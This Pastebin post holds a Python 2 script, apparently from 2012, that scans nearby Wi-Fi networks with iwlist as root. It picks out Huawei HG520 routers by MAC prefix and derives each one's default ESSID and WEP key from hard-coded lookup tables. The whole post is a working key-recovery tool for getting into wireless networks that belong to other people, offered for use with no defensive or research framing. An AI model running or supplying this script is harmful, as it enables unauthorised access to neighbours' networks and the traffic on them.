Guest User

Untitled

a guest
Jul 29th, 2012
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.21 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #-*- encoding: utf-8 -*-
  3.  
  4. # mac2wepkey Huawei HG520 by [email protected] - 12/2010
  5. # m2wkuvz (m2wkuvz ubuntu version) by [email protected] - 07/2012
  6.  
  7. import os, sys
  8.  
  9. def uso():
  10.     os.system("clear")
  11.     print "Uso: python", sys.argv[0], "Interfaz_Inalámbrica"
  12.  
  13. def hex2dec(s):
  14.     return int(s, 16)
  15.  
  16. def es_huawei(macx):
  17.     hard=["001882","001e10","0022a1","002568","00e0fc","04c06f","0819a6","1c1d67","202bc1","285fdb","286ed4","308730","404d8e","4c1fcc","4c5499","548998","54a51b","5c4ca9","6416f0","781dba","80fb06","84a8e4","cc96a0","F4c714"]
  18.     for x in range(len(hard)):
  19.         n=x
  20.         if macx==hard[n]: return True; break
  21.     return False
  22.  
  23. def wepkey(macz):
  24.     i=0;mac=[]
  25.     a0=0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  26.     a1=0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
  27.     a2=0,13,10,7,5,8,15,2,10,7,0,13,15,2,5,8
  28.     a3=0,1,3,2,7,6,4,5,15,14,12,13,8,9,11,10
  29.     a4=0,5,11,14,7,2,12,9,15,10,4,1,8,13,3,6
  30.     a5=0,4,8,12,0,4,8,12,0,4,8,12,0,4,8,12
  31.     a6=0,1,3,2,6,7,5,4,12,13,15,14,10,11,9,8
  32.     a7=0,8,0,8,1,9,1,9,2,10,2,10,3,11,3,11
  33.     a8=0,5,11,14,6,3,13,8,12,9,7,2,10,15,1,4
  34.     a9=0,9,2,11,5,12,7,14,10,3,8,1,15,6,13,4
  35.     a10=0,14,13,3,11,5,6,8,6,8,11,5,13,3,0,14
  36.     a11=0,12,8,4,1,13,9,5,2,14,10,6,3,15,11,7
  37.     a12=0,4,9,13,2,6,11,15,4,0,13,9,6,2,15,11
  38.     a13=0,8,1,9,3,11,2,10,6,14,7,15,5,13,4,12
  39.     a14=0,1,3,2,7,6,4,5,14,15,13,12,9,8,10,11
  40.     a15=0,1,3,2,6,7,5,4,13,12,14,15,11,10,8,9
  41.     n1=0,14,10,4,8,6,2,12,0,14,10,4,8,6,2,12
  42.     n2=0,8,0,8,3,11,3,11,6,14,6,14,5,13,5,13
  43.     n3=0,0,3,3,2,2,1,1,4,4,7,7,6,6,5,5
  44.     n4=0,11,12,7,15,4,3,8,14,5,2,9,1,10,13,6
  45.     n5=0,5,1,4,6,3,7,2,12,9,13,8,10,15,11,14
  46.     n6=0,14,4,10,11,5,15,1,6,8,2,12,13,3,9,7
  47.     n7=0,9,0,9,5,12,5,12,10,3,10,3,15,6,15,6
  48.     n8=0,5,11,14,2,7,9,12,12,9,7,2,14,11,5,0
  49.     n9=0,0,0,0,4,4,4,4,0,0,0,0,4,4,4,4
  50.     n10=0,8,1,9,3,11,2,10,5,13,4,12,6,14,7,15
  51.     n11=0,14,13,3,9,7,4,10,6,8,11,5,15,1,2,12
  52.     n12=0,13,10,7,4,9,14,3,10,7,0,13,14,3,4,9
  53.     n13=0,1,3,2,6,7,5,4,15,14,12,13,9,8,10,11
  54.     n14=0,1,3,2,4,5,7,6,12,13,15,14,8,9,11,10
  55.     n15=0,6,12,10,9,15,5,3,2,4,14,8,11,13,7,1
  56.     n16=0,11,6,13,13,6,11,0,11,0,13,6,6,13,0,11
  57.     n17=0,12,8,4,1,13,9,5,3,15,11,7,2,14,10,6
  58.     n18=0,12,9,5,2,14,11,7,5,9,12,0,7,11,14,2
  59.     n19=0,6,13,11,10,12,7,1,5,3,8,14,15,9,2,4
  60.     n20=0,9,3,10,7,14,4,13,14,7,13,4,9,0,10,3
  61.     n21=0,4,8,12,1,5,9,13,2,6,10,14,3,7,11,15
  62.     n22=0,1,2,3,5,4,7,6,11,10,9,8,14,15,12,13
  63.     n23=0,7,15,8,14,9,1,6,12,11,3,4,2,5,13,10
  64.     n24=0,5,10,15,4,1,14,11,8,13,2,7,12,9,6,3
  65.     n25=0,11,6,13,13,6,11,0,10,1,12,7,7,12,1,10
  66.     n26=0,13,10,7,4,9,14,3,8,5,2,15,12,1,6,11
  67.     n27=0,4,9,13,2,6,11,15,5,1,12,8,7,3,14,10
  68.     n28=0,14,12,2,8,6,4,10,0,14,12,2,8,6,4,10
  69.     n29=0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3
  70.     n30=0,15,14,1,12,3,2,13,8,7,6,9,4,11,10,5
  71.     n31=0,10,4,14,9,3,13,7,2,8,6,12,11,1,15,5
  72.     n32=0,10,5,15,11,1,14,4,6,12,3,9,13,7,8,2
  73.     n33=0,4,9,13,3,7,10,14,7,3,14,10,4,0,13,9
  74.     key=30,31,32,33,34,35,36,37,38,39,61,62,63,64,65,66
  75.     ssid=[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f']
  76.     while i<12:
  77.         mac.insert(i,hex2dec(macz[i]));i=i+1
  78.     s1=(n1[mac[0]])^(a4[mac[1]])^(a6[mac[2]])^(a1[mac[3]])^(a11[mac[4]])^(n20[mac[5]])^(a10[mac[6]])^(a4[mac[7]])^(a8[mac[8]])^(a2[mac[9]])^(a5[mac[10]])^(a9[mac[11]])^5
  79.     s2=(n2[mac[0]])^(n8[mac[1]])^(n15[mac[2]])^(n17[mac[3]])^(a12[mac[4]])^(n21[mac[5]])^(n24[mac[6]])^(a9[mac[7]])^(n27[mac[8]])^(n29[mac[9]])^(a11[mac[10]])^(n32[mac[11]])^10
  80.     s3=(n3[mac[0]])^(n9[mac[1]])^(a5[mac[2]])^(a9[mac[3]])^(n19[mac[4]])^(n22[mac[5]])^(a12[mac[6]])^(n25[mac[7]])^(a11[mac[8]])^(a13[mac[9]])^(n30[mac[10]])^(n33[mac[11]])^11
  81.     s4=(n4[mac[0]])^(n10[mac[1]])^(n16[mac[2]])^(n18[mac[3]])^(a13[mac[4]])^(n23[mac[5]])^(a1[mac[6]])^(n26[mac[7]])^(n28[mac[8]])^(a3[mac[9]])^(a6[mac[10]])^(a0[mac[11]])^10
  82.     ya=(a2[mac[0]])^(n11[mac[1]])^(a7[mac[2]])^(a8[mac[3]])^(a14[mac[4]])^(a5[mac[5]])^(a5[mac[6]])^(a2[mac[7]])^(a0[mac[8]])^(a1[mac[9]])^(a15[mac[10]])^(a0[mac[11]])^13
  83.     yb=(n5[mac[0]])^(n12[mac[1]])^(a5[mac[2]])^(a7[mac[3]])^(a2[mac[4]])^(a14[mac[5]])^(a1[mac[6]])^(a5[mac[7]])^(a0[mac[8]])^(a0[mac[9]])^(n31[mac[10]])^(a15[mac[11]])^4
  84.     yc=(a3[mac[0]])^(a5[mac[1]])^(a2[mac[2]])^(a10[mac[3]])^(a7[mac[4]])^(a8[mac[5]])^(a14[mac[6]])^(a5[mac[7]])^(a5[mac[8]])^(a2[mac[9]])^(a0[mac[10]])^(a1[mac[11]])^7
  85.     yd=(n6[mac[0]])^(n13[mac[1]])^(a8[mac[2]])^(a2[mac[3]])^(a5[mac[4]])^(a7[mac[5]])^(a2[mac[6]])^(a14[mac[7]])^(a1[mac[8]])^(a5[mac[9]])^(a0[mac[10]])^(a0[mac[11]])^14
  86.     ye=(n7[mac[0]])^(n14[mac[1]])^(a3[mac[2]])^(a5[mac[3]])^(a2[mac[4]])^(a10[mac[5]])^(a7[mac[6]])^(a8[mac[7]])^(a14[mac[8]])^(a5[mac[9]])^(a5[mac[10]])^(a2[mac[11]])^7
  87.     alfa = "ESSID="+str(ssid[s1])+str(ssid[s2])+str(ssid[s3])+str(ssid[s4])+" - Wepkey="+str(key[ya])+str(key[yb])+str(key[yc])+str(key[yd])+str(key[ye])
  88.     return alfa
  89.  
  90. def verifica(interfaz):
  91.     m = os.popen("whoami").read()
  92.     g = m[:4]
  93.     n = os.popen("id -un").read()
  94.     h = n[:4]
  95.     usuario = m[0:len(m)-1]
  96.     print "[+] Detección de usuario:", usuario
  97.     if (m == n) and g == 'root' and h == 'root':
  98.         print "[+] Escaneo iniciado con la interfaz", interfaz
  99.         comando = "iwlist " + interfaz + " scan | grep Cell"
  100.         hay = os.popen(comando).read()
  101.         lista = hay.split("\n")
  102.         encontradas = 0
  103.         huaweii = 0
  104.         encontradas = len(lista) - 1
  105.         print "[+] Redes encontradas: ", encontradas
  106.         if len(lista) > 0:
  107.             for x in lista:
  108.                 y = x[-17:]
  109.                 if len(y) == 17:
  110.                     macc = y.replace(':','')
  111.                     macc = macc.lower()
  112.                     huawei = es_huawei(macc[0:6])
  113.                     if huawei:
  114.                         huaweii += 1
  115.                         z = wepkey(macc)
  116.                         print "    * MAC=", y, "-",z
  117.                     else:
  118.                         print "    - MAC=",y, " No huawei!"
  119.             print "[+] Huawei detectadas:", huaweii
  120.         else:
  121.             print "No se encontaron redes inalámbricas o no especifico adecuadamente la interfaz"
  122.     else:
  123.         print "[-] Es necesario ejecutar este script como root para poder emplearlo aplicación terminada."
  124.  
  125. if len (sys.argv) != 2:
  126.     uso()
  127. else:
  128.     verifica(sys.argv[1])
Advertisement
Add Comment
Please, Sign In to add comment